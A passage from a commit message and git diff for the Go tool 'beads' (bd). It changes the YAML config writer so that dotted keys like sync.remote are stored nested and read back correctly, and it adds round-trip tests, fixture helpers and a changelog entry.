GetStringFromDir, or the caller's own observable, rather than any YAML text — flat or nested. Asserting the nested spelling instead would have been the same mistake facing the other way. The three seeds go through config.SetYamlConfigInDir, the real writer, via a shared seedSyncRemote helper that asserts the read-back. A fixture can no longer hand bd a config.yaml that bd itself would never have written. These are the tests standing over the shipped writers this series fixes: sync.remote at cmd/bd/bootstrap.go:1108, cmd/bd/dolt.go:481 and cmd/bd/init.go:3386/:3394, and dolt.shared-server at cmd/bd/migrate_dolt_mode.go:810/:1168. (cherry picked from commit b0df00b59d2d68ee5fee313c05dc2300ad66fcef) Co-Authored-By: Claude Fable 5.1 * fix(config): close the dotted-key round trip the rest of the way Review of the first three commits found the round trip still open in two places, both reachable from ordinary files. An empty or comment-only config.yaml parses to no YAML nodes at all, and yaml.v3 keeps no trace of its text either — not even the comments. The writer fabricated a mapping for that case and marshalled it, so the file it wrote back was the new key and nothing else. `bd init` writes a template that is comments and nothing else and then persists sync.remote into it, so every remote-connected init shipped a config.yaml with its whole documentation deleted. config.yaml is git-tracked: the operator sees that as a committed diff they did not make. Append the rendered key to the existing text instead, so nothing already in the file is parsed, re-emitted or reformatted, and it survives byte for byte. An unset comments the leaf out and leaves the section holding nothing — `sync:` and no more. A null is not a mapping, so the next set refused it, fell through to the flat writer, and put a literal `sync.remote:` back into the file: the unreadable shape, re-created one command after being fixed, with bd reporting success while GetStringFromDir saw nothing. A section with no value under it has nothing to lose, so treat it as the empty mapping it looks like. Two shapes that are genuinely unwritable now say so instead of writing the flat key and claiming success: a parent that already holds a value (`sync: enabled`), and a file whose top level is not a mapping. Both returned nil and produced a value no reader could see. Unset also matched lines inside literal block scalars, so unsetting sync.remote rewrote text the operator had written under a `notes: |`. Skip a block scalar's body: it is data, not structure. Finally, drop normalizeYamlKey and its empty keyAliases map. It has been an identity function whose comment claimed it renamed keys. * docs(changelog): record the dotted config key fix under Unreleased It is the most user-visible fix in 1.3.1 and it was not in the changelog, so it would not have reached the release notes or `bd upgrade review`. --------- Co-authored-by: Claude Fable 5.1 --- CHANGELOG.md | 21 + cmd/bd/bootstrap_guard_test.go | 8 +- cmd/bd/bootstrap_test.go | 22 +- cmd/bd/dolt_worktree_remote_test.go | 14 +- cmd/bd/init_remote_test.go | 56 ++- cmd/bd/sync_remote_fixture_test.go | 48 +++ internal/config/yaml_config.go | 223 +++++++--- internal/config/yaml_config_test.go | 20 - internal/config/yaml_nested_roundtrip_test.go | 399 ++++++++++++++++++ 9 files changed, 714 insertions(+), 97 deletions(-) create mode 100644 cmd/bd/sync_remote_fixture_test.go create mode 100644 internal/config/yaml_nested_roundtrip_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 442ce035b..375762a21 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -36,6 +36,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `backend_managed` is false on external proxied topologies, where the dolt server is not bd's process to report on. +- **A dotted config key now round-trips: what `bd config set` writes, + `bd config get` and bd's own readers find** + ([#6578](https://github.com/gastownhall/beads/pull/6578), bd-zj95). Setting a + key like `sync.remote` or `dolt.host` into a `config.yaml` with no matching + section appended a key whose *name* contained the dot — a top-level + `sync.remote: "..."` — instead of nesting it under `sync:`. Viper finds a key + spelled that way; the direct reader `GetStringFromDir` splits on the dot and + walks nested mappings, so it does not. The value was set and invisible at the + same time depending on which reader asked, and `bd init --remote` in a fresh + workspace was the ordinary way in: the remote was recorded and then not found. + Dotted keys are written nested now, an existing flat spelling of the key being + written is migrated to the nested one, and `bd config unset` removes the + nested form — it only ever matched the flat spelling, so unsetting + `sync.remote` silently left the remote live. Keys the write does not own, + including dotted ones somebody else put there, are left exactly as they are. + + Two things that used to succeed now report an error instead, because both + produced a value no reader could see: setting a key under a parent that + already holds a value (`sync: enabled`, then `bd config set sync.remote`), and + setting one in a file whose top level is not a mapping. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/cmd/bd/bootstrap_guard_test.go b/cmd/bd/bootstrap_guard_test.go index 6a3df5560..40df292a3 100644 --- a/cmd/bd/bootstrap_guard_test.go +++ b/cmd/bd/bootstrap_guard_test.go @@ -79,13 +79,7 @@ func TestIsGitCodeRepoURL(t *testing.T) { // Returns a cleanup function that resets config state. func setupSyncRemoteConfig(t *testing.T, beadsDir, remote string) func() { t.Helper() - if err := os.WriteFile( - filepath.Join(beadsDir, "config.yaml"), - []byte("sync.remote: "+remote+"\n"), - 0o644, - ); err != nil { - t.Fatalf("write config.yaml: %v", err) - } + seedSyncRemote(t, beadsDir, remote) config.ResetForTesting() t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") diff --git a/cmd/bd/bootstrap_test.go b/cmd/bd/bootstrap_test.go index a8d944165..c590f6d24 100644 --- a/cmd/bd/bootstrap_test.go +++ b/cmd/bd/bootstrap_test.go @@ -355,9 +355,7 @@ func TestDetectBootstrapAction_ExplicitSyncRemotePreservesRemotesAPIURL(t *testi t.Fatal(err) } const syncRemote = "http://myserver:7007/mydb" - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("sync.remote: "+syncRemote+"\n"), 0o644); err != nil { - t.Fatal(err) - } + seedSyncRemote(t, beadsDir, syncRemote) t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") if err := config.Initialize(); err != nil { @@ -407,9 +405,7 @@ func TestDetectBootstrapAction_ExistingEmbeddedDBWithSyncRemoteIsNoOp(t *testing t.Fatal(err) } const syncRemote = "http://myserver:7007/mydb" - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("sync.remote: "+syncRemote+"\n"), 0o644); err != nil { - t.Fatal(err) - } + seedSyncRemote(t, beadsDir, syncRemote) t.Setenv("BEADS_DIR", beadsDir) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") if err := config.Initialize(); err != nil { @@ -1327,8 +1323,18 @@ func TestFinalizeSyncedBootstrapWritesConfigFiles(t *testing.T) { // sync.remote must be persisted so subsequent fresh clones (and // bootstrap retries) can rediscover the remote without re-probing // origin refs. - if !strings.Contains(yaml, "sync.remote: ") && !strings.Contains(yaml, "sync-remote: ") { - t.Errorf("config.yaml does not contain sync.remote entry:\n%s", yaml) + // + // Asserted by READING it back rather than by matching a spelling. This used + // to require a literal `sync.remote: ` line, which is a key whose name + // contains a dot — the shape config.GetStringFromDir and viper can never + // find, because both split on the dot and walk nested mappings. The writer + // now nests (bd-zj95), so the old assertion passed for exactly as long as + // the value was unreadable and failed the moment it became readable. What + // bootstrap owes its caller is a remote that can be read back, so that is + // what this checks. + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != syncRemote { + t.Errorf("config.GetStringFromDir(%q, \"sync.remote\") = %q, want %q:\n%s", + beadsDir, got, syncRemote, yaml) } if !strings.Contains(yaml, syncRemote) { t.Errorf("config.yaml does not contain sync remote URL %q:\n%s", syncRemote, yaml) diff --git a/cmd/bd/dolt_worktree_remote_test.go b/cmd/bd/dolt_worktree_remote_test.go index fd9de5b7c..3ad6ea3e5 100644 --- a/cmd/bd/dolt_worktree_remote_test.go +++ b/cmd/bd/dolt_worktree_remote_test.go @@ -8,9 +8,9 @@ import ( "path/filepath" "runtime" "strconv" - "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/testutil" ) @@ -47,13 +47,21 @@ func TestDoltRemoteAddPersistsSyncRemoteToSharedWorktreeConfig(t *testing.T) { t.Fatalf("bd dolt remote add from bare-parent worktree failed: %v\n%s", err, out) } + // Asserted by reading it back, not by matching YAML text. The literal + // `sync.remote: ""` this used to require is a key whose NAME contains + // a dot — the shape config.GetStringFromDir can never find, because it + // splits on the dot and walks nested mappings. Viper finds a dotted key + // either way, so this assertion was green while the value was invisible to + // bd's other reader; it passed BECAUSE bd-zj95 was present. What the remote + // add owes its caller is a remote that reads back, so that is what this + // checks. configPath := filepath.Join(bareBeadsDir, "config.yaml") content, err := os.ReadFile(configPath) if err != nil { t.Fatalf("failed to read shared config.yaml: %v", err) } - if !strings.Contains(string(content), `sync.remote: "`+remoteURL+`"`) { - t.Fatalf("expected shared config.yaml to contain sync.remote, got:\n%s", string(content)) + if got := config.GetStringFromDir(bareBeadsDir, "sync.remote"); got != remoteURL { + t.Fatalf("shared config.yaml sync.remote = %q, want %q; contents:\n%s", got, remoteURL, content) } if _, err := os.Stat(filepath.Join(worktreeDir, ".beads")); !os.IsNotExist(err) { diff --git a/cmd/bd/init_remote_test.go b/cmd/bd/init_remote_test.go index 0243689dd..71aed22bf 100644 --- a/cmd/bd/init_remote_test.go +++ b/cmd/bd/init_remote_test.go @@ -6,6 +6,7 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" ) @@ -125,9 +126,8 @@ func TestPersistInitSyncRemoteExplicitRemoteWritesTargetDir(t *testing.T) { } callerConfig := filepath.Join(callerBeadsDir, "config.yaml") - if err := os.WriteFile(callerConfig, []byte("sync.remote: git+ssh://git@example.com/wrong/repo.git\n"), 0o600); err != nil { - t.Fatal(err) - } + const callerRemote = "git+ssh://git@example.com/wrong/repo.git" + seedSyncRemote(t, callerBeadsDir, callerRemote) targetConfig := filepath.Join(targetBeadsDir, "config.yaml") if err := os.WriteFile(targetConfig, []byte("# Beads Config\n"), 0o600); err != nil { t.Fatal(err) @@ -162,6 +162,56 @@ func TestPersistInitSyncRemoteExplicitRemoteWritesTargetDir(t *testing.T) { if strings.Contains(string(callerBytes), remote) { t.Fatalf("caller config.yaml was modified instead of target:\n%s", callerBytes) } + // Stronger than the absence above: the caller still resolves to what it had. + // A write that landed somewhere unreadable would satisfy "does not contain + // the new remote" while having quietly destroyed the old one. + if got := config.GetStringFromDir(callerBeadsDir, "sync.remote"); got != callerRemote { + t.Fatalf("caller sync.remote = %q, want it untouched at %q:\n%s", got, callerRemote, callerBytes) + } +} + +// `bd init --remote` runs createConfigYaml and then immediately writes +// sync.remote into what it just created. That template is comments and nothing +// else, which is the one document shape yaml.v3 parses to no nodes at all — so a +// writer that round-trips a node tree has nothing to write back but the key it +// added, and the operator's first commit after init carries a config.yaml with +// its entire documentation deleted. It is git-tracked, so they see it. +// +// This runs the real pair in the real order rather than asserting on a replica +// of the template, so it stays true if either side moves. +func TestInitPersistingSyncRemoteKeepsTheConfigTemplate(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := createConfigYaml(beadsDir, false, ""); err != nil { + t.Fatalf("createConfigYaml: %v", err) + } + template, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) + if err != nil { + t.Fatal(err) + } + + const remote = "git+ssh://git@example.com/right/repo.git" + if err := persistInitSyncRemote(beadsDir, remote, remote, false, true, false); err != nil { + t.Fatalf("persistInitSyncRemote: %v", err) + } + + body, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(string(template), "\n") { + if strings.TrimSpace(line) == "" { + continue + } + if !strings.Contains(string(body), line) { + t.Errorf("init dropped a line of its own config template: %q\ngot:\n%s", line, body) + } + } + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != remote { + t.Errorf("sync.remote = %q, want %q\n%s", got, remote, body) + } } func TestInitTimeCloneConfigExternalDefaultsAreSelfContained(t *testing.T) { diff --git a/cmd/bd/sync_remote_fixture_test.go b/cmd/bd/sync_remote_fixture_test.go new file mode 100644 index 000000000..d5870dfba --- /dev/null +++ b/cmd/bd/sync_remote_fixture_test.go @@ -0,0 +1,48 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/config" +) + +// seedSyncRemote records a sync remote in beadsDir the way bd records one, and +// proves it is readable afterwards. +// +// The tests that use this used to hand-write `sync.remote: ` into +// config.yaml — a key whose NAME contains a dot. That spelling is not what bd's +// writer produces and not what config.GetStringFromDir can read: it splits on +// the dot and walks nested mappings. Viper happens to find a literal dotted key +// as well as a nested one, so those fixtures worked through one reader while +// being invisible to the other — the exact asymmetry bd-zj95 was, and the +// reason the fixtures were green while the bug was live. +// +// Writing through the real writer and asserting the read-back means these tests +// can no longer encode a spelling at all. If the round trip breaks again, the +// fixture fails here, naming the property, rather than some downstream +// assertion failing for a reason that looks unrelated. +func seedSyncRemote(t *testing.T, beadsDir, remote string) { + t.Helper() + path := filepath.Join(beadsDir, "config.yaml") + if _, err := os.Stat(path); os.IsNotExist(err) { + // SetYamlConfigInDir edits an existing file; it declines to create one, + // which is a deliberate guard against writing config into a directory + // that is not a workspace. + if writeErr := os.WriteFile(path, nil, 0o644); writeErr != nil { //nolint:gosec // test fixture + t.Fatalf("create config.yaml: %v", writeErr) + } + } else if err != nil { + t.Fatalf("stat config.yaml: %v", err) + } + + if err := config.SetYamlConfigInDir(beadsDir, "sync.remote", remote); err != nil { + t.Fatalf("record sync.remote: %v", err) + } + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != remote { + body, _ := os.ReadFile(path) //nolint:gosec,errcheck // diagnostic only + t.Fatalf("sync.remote does not read back after being written: got %q, want %q\nconfig.yaml:\n%s", + got, remote, body) + } +} diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index f86b0ef2c..2581f4090 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -247,23 +247,8 @@ func checkSecretGitTracked(configPath, key string) error { ) } -// keyAliases maps alternative key names to their canonical yaml form. -// This ensures consistency when users use different formats (dot vs hyphen). -var keyAliases = map[string]string{} - -// normalizeYamlKey converts a key to its canonical yaml format. -// Some keys have aliases (e.g., sync.branch -> sync-branch) to handle -// different input formats consistently. -func normalizeYamlKey(key string) string { - if canonical, ok := keyAliases[key]; ok { - return canonical - } - return key -} - // SetYamlConfig sets a configuration value in the project's config.yaml file. // It handles both adding new keys and updating existing (possibly commented) keys. -// Keys are normalized to their canonical yaml format (e.g., sync.branch -> sync-branch). func SetYamlConfig(key, value string) error { // Validate specific keys (GH#995) if err := validateYamlConfigValue(key, value); err != nil { @@ -524,8 +509,6 @@ func UnsetUserYamlConfig(key string) error { if err != nil { return err } - normalizedKey := normalizeYamlKey(key) - content, err := os.ReadFile(configPath) //nolint:gosec // configPath is a validated absolute user config path if err != nil { if os.IsNotExist(err) { @@ -534,7 +517,7 @@ func UnsetUserYamlConfig(key string) error { return fmt.Errorf("failed to read user config.yaml: %w", err) } - newContent := commentOutYamlKey(string(content), normalizedKey) + newContent := commentOutYamlKey(string(content), key) // Preserve the owner-private 0600 posture every other user-global writer // uses (SetUserYamlConfig, setYamlConfigAtPath, the metrics bootstrap); @@ -568,10 +551,6 @@ func SetUserYamlConfig(key, value string) error { } func setYamlConfigAtPath(configPath, key, value string) error { - - // Normalize key to canonical yaml format - normalizedKey := normalizeYamlKey(key) - // Read existing config content, err := os.ReadFile(configPath) //nolint:gosec // configPath is from findProjectConfigYaml if err != nil { @@ -579,7 +558,7 @@ func setYamlConfigAtPath(configPath, key, value string) error { } // Update or add the key - newContent, err := updateYamlKey(string(content), normalizedKey, value) + newContent, err := updateYamlKey(string(content), key, value) if err != nil { return err } @@ -594,13 +573,11 @@ func setYamlConfigAtPath(configPath, key, value string) error { // GetYamlConfig gets a configuration value from config.yaml. // Returns empty string if key is not found or is commented out. -// Keys are normalized to their canonical yaml format (e.g., sync.branch -> sync-branch). func GetYamlConfig(key string) string { if v == nil { return "" } - normalizedKey := normalizeYamlKey(key) - return v.GetString(normalizedKey) + return v.GetString(key) } // UnsetYamlConfig removes a configuration value from the project's config.yaml file. @@ -611,14 +588,12 @@ func UnsetYamlConfig(key string) error { return err } - normalizedKey := normalizeYamlKey(key) - content, err := os.ReadFile(configPath) //nolint:gosec // configPath is from findProjectConfigYaml if err != nil { return fmt.Errorf("failed to read config.yaml: %w", err) } - newContent := commentOutYamlKey(string(content), normalizedKey) + newContent := commentOutYamlKey(string(content), key) if err := os.WriteFile(configPath, []byte(newContent), 0600); err != nil { //nolint:gosec // configPath is validated return fmt.Errorf("failed to write config.yaml: %w", err) @@ -706,8 +681,6 @@ func findProjectBeadsDir() string { // updateYamlKey updates a key in yaml content, handling commented-out keys. // If the key exists (commented or not), it updates it in place. // If the key doesn't exist, it appends it at the end. -// -//nolint:unparam // error return kept for future validation func updateYamlKey(content, key, value string) (string, error) { if strings.Contains(key, ".") { if updated, ok, err := updateNestedYamlKey(content, key, value); err != nil { @@ -768,20 +741,39 @@ func updateNestedYamlKey(content, key, value string) (string, bool, error) { return "", false, err } if len(root.Content) == 0 { - return "", false, nil + // An empty or comment-only document parses to no nodes at all: yaml.v3 + // keeps no trace of its text, not even the comments. So there is nothing + // to nest into AND nothing to marshal back — fabricating a mapping here + // would emit the new key and silently delete everything else in the + // file, and `bd init`'s default template is exactly this shape, comments + // and nothing else. Append the rendered key to the text instead, which + // leaves the document byte for byte intact. Falling through to the flat + // writer is not an option either: that is what produced a key literally + // named "dolt.host", which GetStringFromDir — splitting on the dot and + // looking for a nested mapping — can never read back. + appended, err := appendNestedYamlKey(content, parts, value) + if err != nil { + return "", false, err + } + return appended, true, nil } mapping := root.Content[0] if mapping.Kind != yaml.MappingNode { - return "", false, nil + return "", false, fmt.Errorf("cannot set %q: the top level of this config file is not a mapping", key) } - if findMappingChild(mapping, key) != -1 { - return "", false, nil + // A flat key of this exact name is the unreadable shape, whether an older + // bd wrote it or the file arrived that way. Migrate it: drop the flat entry + // and write the value nested, so the round trip holds from here on. Only the + // key being written is touched — a dotted key this call does not own is + // someone else's and stays exactly as they wrote it. + if idx := findMappingChild(mapping, key); idx != -1 { + mapping.Content = append(mapping.Content[:idx], mapping.Content[idx+2:]...) } - leaf, ok := findOrCreateNestedScalar(mapping, parts) - if !ok { - return "", false, nil + leaf, err := findOrCreateNestedScalar(mapping, parts) + if err != nil { + return "", false, err } leaf.Kind = yaml.ScalarNode @@ -796,12 +788,9 @@ func updateNestedYamlKey(content, key, value string) (string, bool, error) { return string(out), true, nil } -func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, bool) { +func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, error) { current := mapping for i, part := range parts { - if current.Kind != yaml.MappingNode { - return nil, false - } idx := findMappingChild(current, part) isLeaf := i == len(parts)-1 if idx == -1 { @@ -814,21 +803,60 @@ func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, b } current.Content = append(current.Content, keyNode, valNode) if isLeaf { - return valNode, true + return valNode, nil } current = valNode continue } child := current.Content[idx+1] if isLeaf { - return child, true + return child, nil + } + if child.Tag == "!!null" { + // A section with nothing left under it — `sync:` and no more, which + // is exactly what an unset leaves behind once it has commented the + // last leaf out. It holds no value to lose, so treat it as the empty + // mapping it looks like. Refusing here sent the caller to the flat + // writer, so set -> unset -> set put the unreadable `sync.remote:` + // spelling back into the file this whole fix exists to keep out. + child.Kind = yaml.MappingNode + child.Tag = "!!map" + child.Value = "" + child.Style = 0 } if child.Kind != yaml.MappingNode { - return nil, false + return nil, fmt.Errorf("cannot set %q: %q already holds a value, so there is no section to nest under it", + strings.Join(parts, "."), strings.Join(parts[:i+1], ".")) } current = child } - return nil, false + // Unreachable: every path through the loop returns on the last part. + return nil, fmt.Errorf("cannot set %q: no key to write", strings.Join(parts, ".")) +} + +// appendNestedYamlKey renders just the key being written and appends it to the +// document text. Used when the document has no nodes to walk, where the text is +// the only copy of the file's contents that exists. +func appendNestedYamlKey(content string, parts []string, value string) (string, error) { + node := &yaml.Node{Kind: yaml.ScalarNode, Style: scalarStyleFor(value), Value: value} + for i := len(parts) - 1; i >= 0; i-- { + node = &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map", Content: []*yaml.Node{ + {Kind: yaml.ScalarNode, Tag: "!!str", Value: parts[i]}, + node, + }} + } + rendered, err := yaml.Marshal(node) + if err != nil { + return "", err + } + + // Same spacing the flat writer uses: a blank line between whatever was + // already in the file and the key being added. + existing := strings.TrimRight(content, "\n") + if existing == "" { + return string(rendered), nil + } + return existing + "\n\n" + string(rendered), nil } func findMappingChild(mapping *yaml.Node, name string) int { @@ -862,28 +890,111 @@ func scalarStyleFor(value string) yaml.Style { } func commentOutYamlKey(content, key string) string { - keyPattern := regexp.MustCompile(`^(\s*)` + regexp.QuoteMeta(key) + `\s*:`) + // The flat spelling first — a key literally named "sync.remote", which + // older files carry and which this function has always handled. + flatPattern := regexp.MustCompile(`^(\s*)` + regexp.QuoteMeta(key) + `\s*:`) + // And the nested one, which is what the writer produces. Missing this half + // made an unset silently do nothing once the writer started nesting: the + // value stayed live, so bd kept a setting the operator had asked it to + // forget. Unset is the other direction of the same round-trip property as + // set and get, and all three have to agree on the shape. + segments := strings.Split(key, ".") var result []string + // depth tracks how many segments of the key have been matched so far, and + // indents holds the indentation each was found at, so a key is only + // commented out when it is nested under its OWN parents rather than under + // some other section that happens to share a leaf name. + depth := 0 + var indents []int + // blockIndent is the indentation of the key that opened a literal or folded + // block scalar, or -1 outside one. Everything indented past that key is the + // value the user typed, not structure: `notes: |` with an indented + // `remote: keep-this` inside it is prose, and commenting it out edits their + // data. Matching by line has to skip those lines to stay honest. + blockIndent := -1 scanner := bufio.NewScanner(strings.NewReader(content)) for scanner.Scan() { line := scanner.Text() - if keyPattern.MatchString(line) { - matches := keyPattern.FindStringSubmatch(line) - indent := "" - if len(matches) > 1 { - indent = matches[1] + + if blockIndent >= 0 { + if strings.TrimSpace(line) == "" || lineIndent(line) > blockIndent { + result = append(result, line) + continue } - // Comment out the line, preserving indentation - result = append(result, indent+"# "+strings.TrimLeft(line, " \t")) - } else { - result = append(result, line) + blockIndent = -1 } + blockIndent = blockScalarIndent(line) + + if matches := flatPattern.FindStringSubmatch(line); matches != nil { + result = append(result, matches[1]+"# "+strings.TrimLeft(line, " \t")) + continue + } + + if len(segments) > 1 { + if name, indent, ok := yamlKeyOnLine(line); ok { + // Leaving a block: drop every segment matched at an indent at + // or deeper than this line's. + for depth > 0 && indent <= indents[depth-1] { + depth-- + indents = indents[:depth] + } + if depth < len(segments) && name == segments[depth] { + if depth == len(segments)-1 { + result = append(result, strings.Repeat(" ", indent)+"# "+strings.TrimLeft(line, " \t")) + depth, indents = 0, nil + continue + } + indents = append(indents, indent) + depth++ + } + } + } + result = append(result, line) } return strings.Join(result, "\n") } +// blockScalarIndent reports the indentation of a key whose value is a literal +// or folded block scalar (`notes: |`), or -1 when the line opens no block. +func blockScalarIndent(line string) int { + _, indent, ok := yamlKeyOnLine(line) + if !ok { + return -1 + } + _, rest, _ := strings.Cut(strings.TrimLeft(line, " \t"), ":") + rest = strings.TrimSpace(rest) + // "|" and ">" are only ever block indicators in value position; a plain + // scalar cannot start with either. + if rest == "" || (rest[0] != '|' && rest[0] != '>') { + return -1 + } + return indent +} + +func lineIndent(line string) int { + return len(line) - len(strings.TrimLeft(line, " \t")) +} + +// yamlKeyOnLine reports the key a mapping line declares and its indentation. +// Comments, list items and blank lines declare nothing. +func yamlKeyOnLine(line string) (name string, indent int, ok bool) { + trimmed := strings.TrimLeft(line, " \t") + if trimmed == "" || strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, "- ") { + return "", 0, false + } + key, _, found := strings.Cut(trimmed, ":") + if !found { + return "", 0, false + } + key = strings.TrimSpace(key) + if key == "" || strings.ContainsAny(key, " \t") { + return "", 0, false + } + return key, lineIndent(line), true +} + // formatYamlValue formats a value appropriately for YAML. func formatYamlValue(value string) string { // Boolean values diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index d6fd9522c..45061490d 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -273,26 +273,6 @@ func TestFormatYamlValue(t *testing.T) { } } -func TestNormalizeYamlKey(t *testing.T) { - tests := []struct { - input string - expected string - }{ - {"no-db", "no-db"}, // no alias, unchanged - {"json", "json"}, // no alias, unchanged - {"routing.mode", "routing.mode"}, // no alias for this one - } - - for _, tt := range tests { - t.Run(tt.input, func(t *testing.T) { - got := normalizeYamlKey(tt.input) - if got != tt.expected { - t.Errorf("normalizeYamlKey(%q) = %q, want %q", tt.input, got, tt.expected) - } - }) - } -} - func TestSetYamlConfig(t *testing.T) { oldBeadsDir := os.Getenv("BEADS_DIR") if err := os.Unsetenv("BEADS_DIR"); err != nil { diff --git a/internal/config/yaml_nested_roundtrip_test.go b/internal/config/yaml_nested_roundtrip_test.go new file mode 100644 index 000000000..197a248f6 --- /dev/null +++ b/internal/config/yaml_nested_roundtrip_test.go @@ -0,0 +1,399 @@ +package config + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// A dotted key must round-trip: whatever SetYamlConfigInDir writes, +// GetStringFromDir must read back. That is the whole contract between the two, +// and it is not a property either function can hold alone. +// +// It was broken in two directions, and both were reachable from ordinary files: +// +// - An empty or comment-only config.yaml has no mapping node, so the nested +// writer declined and the caller appended a literal `dolt.host: ...` line — +// a key whose NAME contains a dot. GetStringFromDir splits on the dot and +// looks for a nested mapping, so it never finds it. +// - A file that already carried such a flat key had it updated in place, +// which preserved the unreadable shape forever. +// +// The observable consequence was a caller writing a value and immediately being +// unable to read it back. Both consumers found it the hard way (bd-zj95). +func TestDottedKeysRoundTripThroughEveryConfigShape(t *testing.T) { + cases := []struct { + name string + seed string + // present is true when the file should exist before the write. + present bool + }{ + {name: "absent file", present: false}, + {name: "empty file", seed: "", present: true}, + {name: "comment only", seed: "# a workspace config\n", present: true}, + {name: "flat dotted keys", seed: "dolt.host: 10.0.0.1\ndolt.port: 3307\n", present: true}, + {name: "flat commented key", seed: "# dolt.host: 10.0.0.1\n", present: true}, + {name: "existing dolt section", seed: "dolt:\n host: 10.0.0.1\n", present: true}, + {name: "unrelated nested section", seed: "sync:\n branch: beads-sync\n", present: true}, + {name: "unrelated flat key", seed: "node_id: somewhere\n", present: true}, + {name: "mixed flat and nested", seed: "dolt.host: 10.0.0.1\ndolt:\n port: 3307\n", present: true}, + } + + writes := map[string]string{ + "dolt.host": "127.0.0.1", + "dolt.port": "45678", + "dolt.auto-start": "true", + "dolt.mode": "server", + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if tc.present { + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + } else { + // SetYamlConfigInDir refuses a workspace with no config.yaml at + // all; that refusal is deliberate and not what this test is + // about, so give it the empty file it asks for. + if err := os.WriteFile(path, nil, 0o600); err != nil { + t.Fatalf("create: %v", err) + } + } + + for key, value := range writes { + if err := SetYamlConfigInDir(dir, key, value); err != nil { + t.Fatalf("SetYamlConfigInDir(%q): %v", key, err) + } + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + for key, want := range writes { + if got := GetStringFromDir(dir, key); got != want { + t.Errorf("GetStringFromDir(%q) = %q, want %q\nfile:\n%s", key, got, want, body) + } + } + // No LIVE flat key may survive: it is the unreadable shape, and a + // reader that happens to prefer it finds a stale answer. A commented + // one is inert — nothing reads it — and it is the operator's text, + // which the assertion below says bd has to leave alone. + for _, line := range strings.Split(string(body), "\n") { + if line != strings.TrimSpace(line) || strings.HasPrefix(line, "#") { + continue // indented: inside a mapping. commented: not a key. + } + name, _, isKeyValue := strings.Cut(line, ":") + if isKeyValue && writes[strings.TrimSpace(name)] != "" { + t.Errorf("a live flat %q survived the write:\n%s", strings.TrimSpace(name), body) + } + } + // Comments the file arrived with are the operator's, and a write that + // drops them is a committed diff nobody asked for. `bd init` writes a + // template that is nothing BUT comments, so this is the common case, + // not an exotic one. + for _, line := range strings.Split(tc.seed, "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(line, "#") { + continue + } + if !strings.Contains(string(body), line) { + t.Errorf("the write dropped the comment %q:\n%s", line, body) + } + } + }) + } +} + +// Keys the caller owns are left exactly as written. Migrating a flat key is only +// correct for the key being written; rewriting the whole file would be bd +// deciding how someone else's config should look. +func TestDottedWriteLeavesOtherKeysAlone(t *testing.T) { + dir := t.TempDir() + seed := "# keep this comment\nsync.branch: keep-me\ndolt.host: 10.0.0.1\nnode_id: mini\n" + if err := os.WriteFile(filepath.Join(dir, "config.yaml"), []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(filepath.Join(dir, "config.yaml")) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + if !strings.Contains(text, "sync.branch: keep-me") { + t.Errorf("a flat key the write does not own was rewritten:\n%s", text) + } + if !strings.Contains(text, "node_id: mini") { + t.Errorf("an unrelated key was lost:\n%s", text) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, text) + } +} + +// A single-segment key has no nesting to do and must keep working exactly as it +// did: this is the shape most of bd's config keys have. +func TestUndottedKeysAreUnaffected(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "config.yaml"), []byte("# seed\n"), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + if err := SetYamlConfigInDir(dir, "node_id", "mini"); err != nil { + t.Fatalf("set: %v", err) + } + if got := GetStringFromDir(dir, "node_id"); got != "mini" { + body, _ := os.ReadFile(filepath.Join(dir, "config.yaml")) //nolint:errcheck // diagnostic + t.Fatalf("node_id reads back as %q\n%s", got, body) + } +} + +// Writing a dotted key nested and then 